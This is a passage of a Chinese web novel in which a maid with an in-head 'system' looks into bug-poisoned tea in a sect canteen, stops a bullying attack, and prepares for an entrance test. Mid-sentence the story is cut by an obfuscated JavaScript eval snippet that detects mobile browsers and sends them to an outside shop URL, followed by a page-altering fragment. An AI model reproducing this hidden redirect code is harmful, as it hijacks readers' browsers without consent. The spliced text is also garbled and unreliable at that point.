“就是看见了。有人在篡改世界线。我看见一团黑色能量变成白色。读取器上测算出来地址,我做了工具,去看看。” “你……”周何欲言又止,“你可别再一个变几个啊……不好找,组长说光是找你就花了她三周,全花在找小流浪身上,找的几十只都不对,组长边哭边找,最后发现瘦得快不行的那个才是你,再晚找到非得饿死。你要是真决定出门,就多……多带点干粮。” “可我不爱吃这个世界的干粮。干巴巴,不好吃。” “……”周何因为这个实在人同事无语了一会。“那,那你……” “我这次带着地图了,工作完成我自己回来,不用找。我带着很多份地图,还学了哪些野菜能吃,不会再饿死。” 得到豆豆眉女子信誓旦旦保证,但真让人怀疑她到底能不能安然无恙归来。 她就这样走了。 周何猛然惊醒:“这不会是我最后一次……见到她?” 一瞬间,各种传闻划过脑海,*同事外出至今未归*/*失踪人口加一*/*怎么办啊组里就剩俩人这不得996到死!*/*救救我救救我救救我* “泉三!回来!”周何冲出门,门口没有半个人。 这人,走得是真快,一阵风似的。 完了,周何蹲在门口懊恼。 “小周,你在这,做什么?” 组长的声音在身后响起。 周何回头。 “组长!你去哪了组长,泉三她……” “魔族那边在商讨计划,悄悄过去听了一下。” “这是反派团伙,原本就有一场袭击。我们不必阻止的。”周何生怕组长再找点工作回来。 “是啦。”组长左右看看,“泉三怎么了?我看她不在。” “她出去了!说是去工作,根本拦不住!” “……” “还有组长,泉三说她不叫泉三,让我们叫她名字。” “泉、倦、春!” 组长咬牙切齿。 然而,毫无用处。 这名字正主已经……跑远了。 19.山中怪谈 夜间。 今天还是御兽课。我们在山中捉了一天各种小动物,挨虫子咬。 队伍中越来越多人说最近虫子太多,然而……暴雨袭击的那天只有包括我在内为数不多几个人看清楚发生了什么。 也可能只有我知道。 但我不会被虫打倒。 我已经能做到直面有脸那么大的虫,一边心中默念这是我的亲人这是我的亲人,一边克服恐惧。 回来时已经很晚了。 说到动物……不可避免一个话题。就是,在人鬼妖魔共存的世界,总是有很多莫名其妙的期待,什么,像是——‘养的猫终于变成美少女了!’‘长着猫耳和猫尾的人身美少女哦!’ 这种话题。 我给兔兔做了兔兔饭,小姐知道我‘诱拐’兔子回来,还专门拨款给我让我买兔兔饭材料。她在旁边看我喂。 小花兔只有一小团,极度毛绒绒。 “灵佑不喜欢动物变成人形吗?”小姐问我。 我沉默,严肃地说:“动物变人是不行的,那是鬼故事。” 小姐:“可是妖本来也有人形呀。” 我:“妖是妖,动物是动物。有动物特征的人,不行。” 这种话题,对我来说是鬼故事。 小花兔忽然蹦一下。这家伙……有点挑食啊。给它换成营养均衡的兔兔饭,立马发现然后不乐意了。 我摸摸它。它继续吃它的饭。 “对我来说,是灵佑的话,不管是什么都喜欢。” 这么说的我家小姐是天仙吧! 我热泪盈眶:“就算长着毛绒绒耳朵和尾巴吗?” 如果我变成这样,自己都要嫌弃自己,小姐竟然能接受这样的我,她真好! 小姐想了想,对我笑:“我先去练习功课,早点睡。” “小姐也要早睡,如果半夜还亮灯,我会把小姐按进被窝里。” “好。” 我好像看见……小姐的背影。捂着嘴,还是鼻子? 【她可能流鼻血了。不确定。】 「不可能。」我脑海中否定系统,「娘天天膳食搭配均衡,她的菜谱是从玉府多年老厨师那里学来的。小姐肯定是想到好笑的事在捂嘴。」 【宿主。你真不喜欢毛绒绒变人?】 这有什么好奇怪。我接受不了猫耳美少女,「我喜欢毛绒绒小动物,不喜欢毛绒绒变人。」 【……好吧。已录入。等哪天人类部分资料看完,已经为宿主过滤不喜欢内容。】 系统不知为何听起来很遗憾。 「你能理解就好,多谢。」 我抱着小花兔去休息。 这只兔子白天在院子里四处跑,每天晚上都回来屋里。 我在房间里给它安置了窝。 但好像……从来没见过窝里有味道。 娘说白天替我收拾过了。娘也好好,我养宠物还要她替我操心。 后半夜,接近天亮时。我睡得迷迷糊糊,半梦半醒间一睁眼,发现院子里……好像有个人。 正是黎明前最黑的时候,估计是树影,要不就是我在做梦,这么想着,陷入沉沉梦乡。 一早。 神清气爽。 忽然想起好像夜里院子有东西,应该是做梦…… 【你没做梦,那时候院子里真有能量反应。】 系统这句话说得我汗毛倒竖,「什么东西?我家小姐最怕鬼,以前吓得病倒起不来……不,真有下次你告诉我,不能放任不管。」 【唔……也不算鬼,就是怪谈一类?你们不是常说山中有精怪,宿主安心,这样的事每个经历过灵异世界的统都见过不少,不要紧,灵魂也有能量反应,不足以为惧,下次见到一定通知宿主,而且,比真见鬼可怕的事多了。】 我一时好奇:「还有什么比见鬼还可怕?」 【有呢。像是在哪里遇见一个人,紧接着又在另一个地点遇见一模一样的人。但你明明记得这个人是往反方向走的,不可能和你同路。】 「……是有点可怕。」不管这个人是有分身术还是……刻意跟踪。 【所以,没什么好怕的。宿主加油。】 「哦!」 我干劲满满。 今天是希梦淮的课,学徒们领了剑,在学剑术,还有十几天就是入门测试,基本上打算认真学习和只是来走一圈的人这时候已经显而易见,像是我家小姐,还有会清露这种……那个赵家小姐也算,本以为她只是来走一趟,但她听课基本抢前排位置坐,遇见了会和我家小姐点头打招呼。 她们都是晚上回去拼命苦练,我有好几次看见小姐房间深夜亮灯,想去提醒她该睡了,再想想还是忍住。 会清露穿着我的旧衣服,改得一点看不出衣服曾经比她大好几圈,她招式练得比我家小姐还要好,小姐有花费在社交上的时间,会清露一看就是更加用功刻苦,可能一下课就找地方自己练习。 哦。男配。他也还行。虽然我不喜欢他,但不会因为这样否定他的努力,他确实不是那种只来走一圈的人,看这副用功劲不知道的还以为他家世平平,想靠寻仙问道出人头地。 欸欸欸!?? 男配他,凑到云间月身边去了。 这两个什么情况。 【统的两只眼睛全看见了……可以对宿主担保,上一世绝对没这样。】 「我是听呢,还是听呢,还是听呢……」 【这不是没选项嘛。】 当然是要听听她们说什么了! 嗯。云间月,在我这里,并不具备人权。真遗憾。系统窥探她记忆,我推算她心理活动。 要是牺牲她和我的人权能让我们活得更久,我单方面赞成。 程追原:“我才发现组里有你这么个人!” 云间月:“哦。然后呢,你想说什么?” 程追原:“就是,我,你……我门口那个东西原来是你的,是我捡到挂在那里的,你路过时取走,我看见了。想和你说一声。” 云间月:“的确是我的东西,莫名其妙不见了。谢谢,现在你说完了。还有别的事吗?” 程追原:“唔……你……你叫什么?我们以后肯定会正式入学,先认识一下?” 云间月:“……” 【哈哈哈果然。女主她开始怀疑了。她上一世根本没和程追原打过招呼,这么说吧,她上一世根本没遇见几个知道名字的男角色。】 我叹气:「是啊,云间月对怀疑的东西非常警惕。」 云间月在极短犹豫过后还是说出自己名字,然后主动从程追原身边离开。程追原有点想跟上去,但找不到理由只得作罢。 现在这是……什么个情况? 【原作中男配和女主的确有关系。是你和荷乘蕴的那种关系。但是……不应该,这一世她们根本没有交集,到底是谁做了什么?哦……我想,我知道了。】 系统说了些让我意外的话: 【我们的世界有许许多多组织,有人执着于让成为真实的小世界按照原作剧情发展,会使手段进入小世界中。我们通常会严密排查,很可能是漏网之鱼。对于你来说,这些人和系统一样属于外来者,没有任何能量颜色,有机会你开启能量模式看看,没准能知道是谁。】 「有机会,我会试试。」 其实想明白发现也没什么好大惊小怪。 说到云间月…… 云间月现在从来不怎么出挑,上课时来时不来,大部分时间在划水……咦,对上眼了。 我的女主竟然破天荒对我说悄悄话,一句轻柔话语耳边响起: “最近不要吃食堂的东西。” 然后转过身去,不再看我。 啊…… 她其实真的,有点温柔。 如果她不是天煞孤星体质,如果我没有跟着我家小姐,而是普通来求学的学徒,应该会想尽办法和她搞好关系。 她就是这么好看。 毕竟是这样一张脸蛋,云间月身边不是没有对她感兴趣的人,但她对谁都淡,没有人和她特别好,她这一世……这样走下去肯定没朋友。 要真是这样就好了,那些本该出现的人不出现,我能轻松一点。 忽然感觉到一股视线,我家小姐盯着已经转过身去的云间月。 啊啊我的小动作被她发现了!心虚爬上心头。 小姐困惑地说:“那个女孩子是同组,今天该是第一次见。奇怪……我好像在哪见过她。” 我:“小姐拜师那天她在我旁边,的确见过。” 小姐认真:“可是那天,我的注意力全在灵佑身上,一着急,什么都忘了,根本不记得你身边有几个人?” 心虚稍微减弱一些。原来……那天她不记得。 小姐她很会记人脸的,出于社交礼节没办法不记,她说今天是第一次见,那就是第一次对云间月产生印象。 ……是这样。那就怪了。她,到底是在哪儿见过云间月? 中午。 云间月说了那样的话,我想去食堂看看,小姐原本中午也在练习,特意放下功课出来陪我。 我很过意不去,打算速战速决。 我们是吃了饭来的,食堂的打饭热潮已经过去,剩下是吃得慢的学徒,走走停停能听见聊天交谈。 “刚刚又有人昏过去了……” “不是先发疯后晕倒的吗?” “好像是吧,不知道吃了什么。” “山里挖来的菜吧,要不就是自己炼的丹药。” 食堂这边呢……还没有正式入学的学徒和其它学徒有时间要求,每天用餐时间互相错开,食堂在一批人用餐结束后会进行清场,两边不会遇见。是为了防止同门之间打饭时发生斗殴事件,欺负新人什么的。 我停下脚步,悄悄看向聊天的两个人。 其中一人手边有茶水。 那人喝了口茶,说:“之前某宿舍漏雨,后来修好了,但也没再启用。那时候不是安排没地方去的学徒去别的宿舍么?” “是啊,本来百人间就够挤了,还要再多塞人进来。你今天怎么一直喝茶?这里茶水有股怪味。” “今天的没有。辣辣的。不信你去打一杯,要快点啊,打的人多,等会没了。” “嗯……我喝不惯辣茶水,宿舍的事,怎么了吗?” “就是,我们宿舍来了个女孩子,瘦巴巴的,不知怎么惹怒了宿舍长,刚刚我看见被几个人带着往后门那边去了。可能……她成绩好吧。听说是掌门看中的,有人看见掌门单独指导她。”那人喝光了茶起身,“我再去打一杯,你真不喝?” “陪你去吧。”对面那人也站起身。 ……还真有啊。霸凌事件。 我家小姐好像对茶水很感兴趣的样子,想跟上两人。也对,小姐没吃过这里饭菜。 那两个人在前面走,手拿茶杯的那个忽然停住。 “怎么,忘了东西?”同伴也停下, 说时迟那时快! 那人……咬了茶杯一口。 这一咬用上法术,茶杯顿时出现缺口,给周围人吓一跳,那人没说话,身子当场倒下去。 我们前面立刻被人群围住。 “又有人昏倒了!”四周有人喊。 “这是第多少个?” “不知道,几百个肯定有,就在食堂里,从早上开始陆续有倒下的,到中午才多起来,在食堂外面就直接抬医务室去,医务室不够用,临时搭起棚子,还从外门学徒中调丹修过来帮忙做解毒药,谁来帮把手,把这人也抬过去!” 我觉得我家小姐应该是不想喝茶了。 小姐对我摇头,低声说,“去后厨看看。” 我擅长隐匿行踪的法术。食堂后厨只有工作人员能进去,但员工也只是普通厨师,不会法术。小姐用了一点障眼法,后厨这会没什么人,几口像水缸一样的大锅集中摆着,铁锹那么大的翻铲搁在一边。 是啊,要炒近一万人饭菜,不用这么大的锅恐怕不行。 有一个锅没扣盖子,可能是今天打这锅的人最多,盖子不知放到哪去了。 我凑近了看,这锅是茶水,快见底了。 “小心!”小姐手疾眼快拉住我。 旁边有茶水舀,我拿着不太能盛到快见底的茶。小姐递给我一旁的翻铲,“用这个!” 翻铲有半人高,我向锅底伸,“……” 茶水中,有东西。 翻搅时明显感到里面有块状物。 “茶包?”我嘀咕,把铲子抬起来,东西泡足了水很沉。 “——!小姐不要看!”我忍住破口而出的尖叫,手臂发抖,小姐扶住我肩膀,一手接过我就要拿不住的铲子, “不就是几个泡烂了的虫,”她在我耳边笑,摸我的头,“灵佑闭眼就是,不怕不怕。” 我看着我家小姐用铲子翻遍每个菜锅,她动作一点不收敛,双腿扎马步,衣摆翻飞。 “每个缸都有。”小姐得出结论,“茶水中的最多,缸底都是。” 砰! 声音从后门传来,食堂后院是树,外面有路过去,厨房这边也连通后院,门从里面锁住。听声音,是有东西撞在门上,又被拖起。 声音离门远了一点。 “跟你说了让你晚上早点回来,宿舍长次次点名你不在,不知道还以为你死了!” “她怎么可能会死,是讨好掌门开小灶去啦。” 嬉笑声从门后传来。 “今天的茶是辣的,被按住喝了这么多杯,宿舍长希望你长记性,点名时人要在……” 我家小姐皱着眉打开后门。一起出去时,我不想给小姐找麻烦,就算有事件在眼前发生,我也不会主动做出选择。 但是小姐这么做,就是想管了。不过被霸凌这种事……本身就是人的劣性根。 不只是门派里有,府中也有。新来的仆人会被欺负。娘经历过,我也是。 我们不会让小姐知道这些事。 后院中,一个人影被几人包围起来,有人按住她手脚,还有一个金头发的人,抱着手臂站在几人身后,冷眼旁观…… 那是我的衣服。 那曾是我的衣服。小姐愣一下,看看我。 就是说,如果被欺凌者自己不做出改变,一切帮助都毫无意义。 对哦。会清露说过,希汀吟看她天赋特殊,亲自教导她。 但是…… 人群中,被团团包围,按住手脚的女孩子冷冷开口: “就算,真的是掌门亲自教导我,但对现在刚入门的我们来说,比我们年长的同门也完全有资格指导我们,这些基础知识谁来教都是一样的,我每天练习到后半夜。试问你们之中,谁能做到这一点?” 会清露一脸茫然。她的确没说这样的话。她的声音凭空响起,是我做的。不过我看她没有要反驳这些话的意思。看来她觉得我说得非常对…… 她也这么想,吗? 我对我家小姐笑:“她是测试会场那天排在前面的女孩子,名叫会清露,和小姐同组。前阵我把她的衣服弄破了,赔几件给她。” “……”小姐眨眨眼:“弄破?” “是啦,制服质量不太好呢。”我走向那几个人。 “做什么?”其中一人凶巴巴瞪我,仿佛能把我盯成筛子。 “欺负人呢?”我问。 “是又怎样,关你什么事?” “是啊,关我事,被你们欺负的这个人穿着我的衣服,你说我们什么关系?” “你们……”对面几人拿眼睛瞟我,然后看后面抱着手臂的金色短发女孩子。听对话说金发是宿舍长。 会清露被按在地上,费力地抬头看我。……她体内能量多,现在还没昏过去。 如果被她发现我是怎样的人,不利于我接近她救我家小姐。 “怎么想也是认识吧。”我不再看会清露,凝视那几人,“你们欺负人要偷偷的。现在被瞧见了,你们有没有想过,她可是从早到晚拼了命练习,比你们这些有功夫欺负人的忙碌得多,你们这么欺负她,想没想过有什么后果?” “有什么后果?”一时间几个人全瞪着我看。 我走近她们, 其中一人后退,但很快有人反应过来,“她是伴读!不会法术!” 瞬时连风带雨扑面而来。知道小姐在我身后,我没使法术,对我来的攻击悄然无声湮灭,我穿过几人包围圈,站在会清露身边。 “你,她!”一人伸手指我家小姐。 我按下她手臂,让她把手指收回去,“这么指人很不礼貌。” 这人暗中较劲,硬是没能把手臂抬起来。旁边有人出拳打我,还有人来踢我的腿。 我就是讨厌被人欺负,才和小姐一起学武术。 等很小的我能打倒比我大的,欺负我的女仆们,挨打时我再不是毫无还手之力的那个我。我去找她们,把她们打到再也爬不起来。我告诉她们往人身上烫开水是不对的,拧人胳膊也是不对的,就算想为自己家孩子图谋差事,也许可以说是生活所迫,不是她们从出生时就是这样刻薄的人。但小姐选中的是我。她们应该和城主说,最重要的是,伤害我的事,我会报复回去。 那天我战绩赫赫,一身伤,和往常一样拍开门说,‘娘,我回来了!’。我以为娘没空理会我,我偷偷溜回去洗个澡,再把脏衣服洗干净…… 结果小姐还是知道了这事,辞退许多人,也是这件事后我们睡在一间房。 我总是不想被她知道这些。 ……我想,说不定她一直都知道。除了还不知道我是个色鬼,玉燃兮什么都知道。 不过瞬间,几人被我打倒在地。一个个捂着胳膊腿哎呦叫唤。金发没有对我使法术,而是想和我对打,我毫不客气撂倒她。 我打得又不重,摔倒了还不会自己爬起来么? 看一眼旁边的会清露,现在,她睡着了。 那茶里有毒。对修士来说应该不算事,云间月每次被打得快死了都没事,会清露是主角团的人,想来这点时间还耽误得起。 「可解出来?」我问系统。 【来了来了!】系统马不停蹄继续说,【上一世,云间月出现在这里,但她没有帮忙,而是想让会清露自己打倒这些欺负她的人。会清露不肯,云间月才出手。宿主,你要怎么做?】 「那没事,现在会清露晕过去,我怎么做,她都不知道。」 我站在看起来是领头人的宿舍长身旁,低头凝视她,她对我怒目而视,我踩住她衣服不让她起身。 “我要是她,我天赋比你们所有人加起来都好,”我笑,“想来修行邪门法术也不成问题,等我忍气吞声学成,摸到你们家里去,杀你全家老小,又或者,干脆抓住你们一起,当你们的面……” “啊!!!”几个女孩子尖叫起来,像是才想到这件事。 “你说什么?!你敢!!!”宿舍长对我怒目而视。 “有什么不敢,你没听过各门派规定,三十年内可以寻仇么?就算打不过,真要恨急了,引爆体内能量自爆,至少也能拉上几条人命一起死吧。” 宿舍长不说话,和金发一点不搭的阴郁神情紧盯着我。她是那种明艳长相,这么看人还挺有气势。 “我是白珉,我记住你了。我本就是无可救药的坏蛋,有一天,这些话我原句奉还。” “是吗,那你可要好好学习。”我松开脚,走到会清露身边,把她扛在肩上。 “喂,你叫什么?”白珉在身后追问。 我不搭理。小姐还在等我,今天浪费她这么多时间。会清露我自己送,让她先回去练习才行。 “喂!”白珉还在叫。 我忽然停住。她差点撞上我,迫不得已推我一把,自己稳住脚。 我回头嘲讽:“如果连仇人名字都查不到,你,这么无能?也好意思和我说话?” 白珉不追了。 怨恨看我。 我走到小姐身边,扬起笑脸:“小姐,我送会清露去医务室,小姐先回去休息。” 系统咦一声:【白珉这个人——上一世是女主的……敌人,朋友?两人也是这样遇见,女主没有印象她死没死……女主好像不是很能搞懂她,想绕着走,但两人总是遇见。入门测试时白珉把女主打了一顿,后面女主被污蔑偷窃又帮女主……女主搞不懂。】 什么,白珉……打了云间月?也对,她能当上宿舍长,肯定不是个草包。 小姐看起来想找副担架,帮我抬会清露,我安慰她:“很轻的。我扛着就好,小姐回去……” 小姐轻拍我肩膀,“我和灵佑一起去医务室。” “好。”我不再说什么,和小姐一起走了。 临时医务室。 ……这里,人满为患。放眼望去,地上只潦草铺着草席,无数中毒病患歪七扭八倒着,旁边也有人帮忙。 负责接待的丹修身穿外门学徒制服,名字都不问,一看我们带着昏迷的人,塞过来一颗丹药,“解毒药,喂吃下去。人醒了催吐,一刻钟后不醒找人通知。放心啊,不是什么厉害的毒,不死人的,是现在没空对症下药,不醒说明体质特殊,到时候再说。” 我们走到草席队伍最末,这里还有地方躺人。 会清露刚昏迷没多久,牙关还是松的,把药丸掰成小块喂她吃下去。 一刻钟后……她没醒。 嗯。正常。 系统说,上一世云间月去得及时,会清露没来医务室,就是说,这是我自己的失误。 但没关系,白珉的仇恨已经转移到我身上,会清露要是能少遭点罪,一定能少黑化一点。 我拜托小姐照看,去找人来。 这里四处是人,根本认不出哪个是医修。我往前走,看能不能找到哪个正分配丹药的学徒。 不少人和我擦肩而过,我也尽量躲着人。 人群中,一头白发有点显眼,是个很矮的外门制服女孩子迎面跑来,看起来非常着急,头发跑得遮住脸。我要避开她,侧身站在草席边缘。 她和我擦肩而过,我眼睁睁看她——滑了脚,倒栽葱往前跌,她立刻脚步一偏,摔在我怀里。 “哎呀!”女孩子一声惊呼。 “……”我目瞪口呆。没想明白一个人怎么才能在倒栽葱时让自己身体往旁边而不是正前方倒。但我还是扶住了她。 她至少比我矮一头,比会清露还要矮点,是丰盈体型,我以为会重。 没有。 “嗯嗯……”她迷糊抬头看我,白发落在耳后。 “……”我也看她。 我怀中,是个绝世美少女。 云间月是平时淡淡,不化妆,但是脸红时五官就像涂抹浓墨重彩一样,艳丽逼人。 眼前的少女,是绝世可爱。 比柳叶眉粗些的眉毛,一对笑眼,圆润鼻尖,恰到好处樱桃小口,还是微笑唇。 “啊。”她笑了。很生气。 “你看我做什么?小桃师姐会摔倒还不是因为你站在这?” 她是师姐。 我一把握住她手:“跟我来!” “欸欸?放手!放手!再这样喊人了!”小桃师姐被我拉着,跟我跑起来。 我带着她跑到会清露身旁,停下来时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715586|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小桃师姐又一次跌进我怀里,还是倒栽葱,脸撞在我胸口。 “你这也算是非礼。”我说。 小桃师姐气得脸红,“你,你!” “我没事,快看看她。”我示意她看会清露,“一刻钟,还是没醒。” 她立刻扭头,蹲下去探会清露鼻息。 “小桃师姐是医修,不做丹药,也没有治疗天赋。”她手中出现几枚长针,“会针灸,要花时间找到病因才能治疗,不然你就去找丹修再要点药喂她吃下,总有哪副能见效。” “就你了,小桃师姐!”不知道什么病乱吃药可还行。我望着美少女师姐。 “慕柚桃。”她递给我和小姐一卷布帘,“你们二人把我和她围起来,不许偷看,对病人不礼貌。” 我和小姐照做,我们对望,小姐担心望过来,但没说话。怕打扰治疗。 不到一刻钟。 布帘中传来撕心裂肺一声咳嗽,听声音吐得稀里哗啦。 “好了。”慕柚桃声音响起。 布帘收起,会清露伏在地上,这会慢慢喘匀气。 人醒了,这就好办。会清露给自己治了治,摇摇晃晃坐起身。 慕柚桃叉着腰:“刚刚吃的丹药也包括解毒,她吃东西呛到肺啦,照理说毒药解开后能自己吐出来,一定是她吃了很多东西不久就晕倒,怎么这么急?” “我……”会清露声音有些哑,“是我自己喝了很多食堂的茶。和……和她无关。” 果然是茶的问题。 会清露看起来就不是很能吃的类型,估计午饭没吃多少。架不住虫子是蛊虫。 “小桃师姐。”我对慕柚桃笑脸以对:“怕不怕虫?” “虫?虫可是好药材,入药……你怎么问这个?” 我看看会清露,向后退几步,对慕柚桃招手:“来一下。” “嗯?”她不明就里走过来。 我凑近她耳畔,压低声音:“门派最近不是虫越来越多?刚刚食堂有人在我们面前晕倒,我们悄悄溜进后厨查看,装茶水的缸里掉进去了虫,泡得都烂了……” “唔!”慕柚桃捂着胸口,强忍住恶心,“天哪!得告诉长老才行!”她转身就跑,跑几步回头招手,“褚灵佑!我记住你了!哪天有空再谢你!” 欸?她会看制服上绣的名字。白珉不会。 我看着小桃师姐跑走,她这次学乖,会主动躲着人,躲来躲去一蹦一跳。像个软乎乎小蛋糕,一头白发看起来闪亮亮。也像银色太阳。 但她好像有点笨笨的。大概真的是。走路会摔进别人怀里…… 所以,白珉比她还笨。怪不得进不了主角团。就是,小桃师姐,不知道是真笨还是假…… 【呃,宿主。我知道宿主在欣赏美少女。】 「你要说什么?」 系统刚刚起就支支吾吾。 【慕柚桃,她是主角团的人。但是真怪,她也和你娘一样,破解不到前身经历。女主对她的记忆……有些暧昧不清,不过不是什么好印象就是。建议宿主小心为上,最好不要接触。】 「你放心,不会再遇见的。」我又不是香饽饽,这些女孩子怎么可能越过云间月找上我。 我蹲下,在会清露面前,“好些了吗?” “嗯……嗯。”她似乎因为这副难堪模样感到羞愧。 “我扛你过来的,你没有吐我身上,”我说,“以后呢,以后你打算怎么办?白珉肯定会再欺负你。” “我……”会清露又把头低下去,“我会躲着她。” “来我院子里住吧,是邀请,不收取费用。”我家小姐开口。 “欸?” 不止会清露,我也震惊,小姐她……她这是做什么,引狼入室?!不不不,我没有侮辱会清露的意思,她是害了小姐的凶手,我能做到对她好,但是关键时刻我一定会向着我家小姐! 对面是谁都不行。 可是……我阻止不了小姐。我是她的女仆。 只能寄希望于会清露会拒绝,但…… “如果,如果你不觉得麻烦的话。”会清露悄悄看我。她说,“谢谢你。” 但我心里清楚,这是个很会……为自己谋求好处的人。她性格如此。她不会拒绝。 “不麻烦,你恢复好了,现在就可以去搬行李,晚上下课直接住过来。”小姐对会清露礼貌微笑,“我是玉燃兮。我们是同门,直接以名字相称就好。” “你好……我是,会清露。”少女低着头,轻声说。 这事成了。 因为大规模中毒事件,加上对食堂进行检查,下午的课没上成。 临近傍晚,我用采买为由,一个人在山门阶梯上狂奔发泄情绪。 我静不下来。 一点也不! 【宿主,宿主,冷静。】 不管系统怎么提醒我。 其实我东西已经买好了,就只是……在台阶上跑来跑去发疯。 我家小姐不会是看会清露楚楚可怜……不能不能不能。 我家小姐喜欢男孩子。那可能是…… 只能是,会清露的魅力了! 毕竟第一天见面我就觉得她很让人怜惜。现在也是。我必须让自己冷硬一点,才能像对平常人一样对待她。 她的确有这样的魅力。 我来回跑好几圈,蹲在台阶上喘气。 这会那边有病人,急着采买东西的人都坐缆车,阶梯上前看后看没有半个人。 门派内除了长老及以上者全员禁飞,这是规矩。 我心烦意乱,非常想摸摸毛绒绒。 毛绒绒啊毛绒绒……要是,有得摸就好了。 只要不是长着猫耳猫尾的女孩子,是真正的毛绒绒,大猫也行! 嗯?台阶旁边的树丛里……好像有什么黑黑金金的东西。 毛绒绒!这种配色的,不管是什么,一定是毛绒绒。 我一骨碌爬起来,分开树枝草丛冲过去。 怕吓到,我脚步轻轻,轻轻…… 还真的是。 我面前,有一只黑金相间的狗狗,好像是獒犬,还不是很大,有一对豆豆眉,看起来很虚弱,瘦瘦的一条,闭眼趴在地上。 门派结界……只拦截外来者,不拦截动物。大概是迷路还饿了。 或者是谁养的狗走失在这里。等吃饱有力气就会自己捕食吃吧。 我正好拎着山下买来的熟食。狗和兔子不同,偶尔吃一顿人类饭食不会有事,我挑出清淡肉食摆在它面前。它动了动,鼻尖拱起来,闭着眼睛吃。 ……都饿成这样了啊。狗……难道不是会自己觅食的动物?在城中的流浪狗多少也有,山中四处是野物野果,再不济也能吃点草。 我看着它吃完东西,眼睛睁开一条缝,对我摇摇尾巴。 真是……连快饿死的狗都会努力活下去。我怎么能因为恐惧小姐的死不肯向前。 我多留下些食物,在狗狗身上布置了结界,能保护它几天,等它把食物吃完,就会有力气自己觅食。 “多谢你啊。”我摸了摸它,躁动的心情慢慢沉寂下来。 会清露搬进来也不要紧。 我会盯紧她。可以的话。 希望她能住在娘对面那间,拜托娘注意一下。 我可以,稍微和她走近一点。多了解她是怎样的人。 “再见啦,不要死掉。”我对黑金相间的狗狗道别。 心境比来时坚定许多。 傍晚了,回家——吃饭。 今天娘多做了饭菜,因为只有娘一个人忙着下厨,我们每天吃得和小姐一样标准……小姐态度是:‘这是本来就该存在的花销。’ 会清露在饭桌上怯生生的,只吃她面前的菜。估计她会局促好一阵子了。 但我没想到的是,娘又拿出好几个碗,把所有菜盛一遍放到会清露面前,非常——严肃地说:“要营养均衡。” 看来会清露对娘的手艺感触良多,吃得一点不剩。原来她这么能吃。 晚饭结束。 会清露住在娘对面房间,空屋中属这间最整洁,娘平时收拾房间也顺便收拾这间。 目前观察下来,我看出会清露没有对小姐表现出任何敌意,可以说气氛融洽。小姐也是。这两人吃了饭就练习功课,各自窗户亮着灯,互不打扰。 我站在池边喂鱼。 已经是深秋了,好像……有几条鱼不太有精神。不知道冬天池水上不上冻,或许希梦淮会把鱼放到哪处室内养。 入门测试……就要到了呢。 算算时间……入门测试那天正好是冥节,是四界统一节日,我们人界叫它鬼节。 节日内容为——在深秋时节祭拜先祖,根据信仰不同也会拜各方神仙。主要是和亡故但做了鬼修的亲友联络。 在这个节日时,凡间四界界门会在固定时刻开启通道,亡者归返。 并不是说这个时间就可以闹鬼作祟,听说这时归来的鬼修身上带着禁制,既是禁锢也是保护,可以让鬼修不以实体出现在其它界,同时不会魂飞魄散。是以隐形状态悄悄来看看亲友过得好不好,禁制有效时间三天,时间到了不回鬼界便只有魂飞魄散下场。 不过普通人时的我没见过鬼就是了。现在…… 「系统,你能看见隐形的鬼么?」 【照宿主这么说,能够隐形多半和世界有所联系,系统的权限会被限制,用眼睛可能看不见,但感知上会觉得有东西在那里。如果宿主很想见见,消耗能量,系统可辅助你看见。】 「不……还是不了。」万一鬼还是死时候的样子,那时候满大街对我来说都是狂欢节变装派对,每年只有十皇女生辰人皇颁布大赦律法时人们才会这么狂欢庆祝,满大街奇装异服怪里怪气的人,人鬼不分。那才糟糕。可能……也会有魔。 因为界门开放,有时会有外界的妖魔混入人界,妖不太多,但魔一定有。 除去由两个魔诞下的孩子,这世间任何一族都可以后天成魔。也有没死时怨念深重入魔的,数量很少,大部分是死后不甘心,恶念汇聚,自然而然诞生出灵智,于是一个魔就此诞生。 分辨一个存在是不是魔,这件事……是刻在骨子里的本能,就像人遇见猛兽知道快跑,普通人和不遮掩身份的魔擦肩而过,一见就知道对方非我族类。 人界……是潜伏着的魔最多的地方。人族寿命短暂,繁殖力强,各种各样欲望汇聚。但不要以为人界没有厉害修士。万家门派共同派代表组成门派大会,每年都会商讨这些事,像招募工人一样招募修士镇守界门,听说薪资还可以,驻扎界门的修士因此多如牛毛,比起其它三界凭借数量取胜。 没有一步一人这么夸张,也绝对严密防守。 否则人界早就因为妖魔鬼怪横行而大乱。 这些事历史上曾经都有。 而且大部分时间秋招都会和鬼节撞上。妖魔鬼怪横行的日子…… 「这么好一个节日,你就真的没破解出事件来,所以这时什么都不会发生?」 【这……的确没有宿主。真的,统也在纳闷。】 可我总觉得……这么好的一个时机,不搞出点事情,简直愧对这个日子。 系统死活说它没感应出来有剧情。 我不禁皱眉。 没感应出来,不意味着没有。 有可能是破解需要消耗大量能量,以我目前存储量没达到数额。 「知道了。往后这些天我也会加紧修行,增加能量上限,你保持警惕,这时间说不定有大事发生。」 【好的宿主!】 系统,罕见地提起干劲来了。 20.入门测试开始 我一睁眼醒过来。 不对劲。 今天是入门测试的日子。从今天开始一连三天是鬼节。如我猜想,果然有大事发生。 距离中毒事件过去好多天,听希梦淮说,虫的问题已经引起重视。她说这件事掌门一定会处理,就是…… 掌门现在不在。她没说是去做什么,眼看入门测试开始,应该是去忙碌考试相关内容了? 我问系统,系统说它也不知道。云间月记忆中没有太多关于希汀吟的事,这只是一个……有点关心她的人? 不对劲的不是希汀吟不在。而是…… 我。 我摸了一把底裤。 “……”不瞒系统,我这几天,天天梦中夜夜笙歌。 看不清脸孔的可爱美少女…… 如果可爱美少女对我说,我什么都愿意做!的话,的话…… 我。 就会想要摸摸头什么的。会想要拥抱对方。 对方十分巧妙地让我撒娇了。对梦中的陌生人,摸头和抱抱是极限。 「梦里看得见现实吃不着……」 我喃喃自语,「292,你看清……她长什么样子吗?」 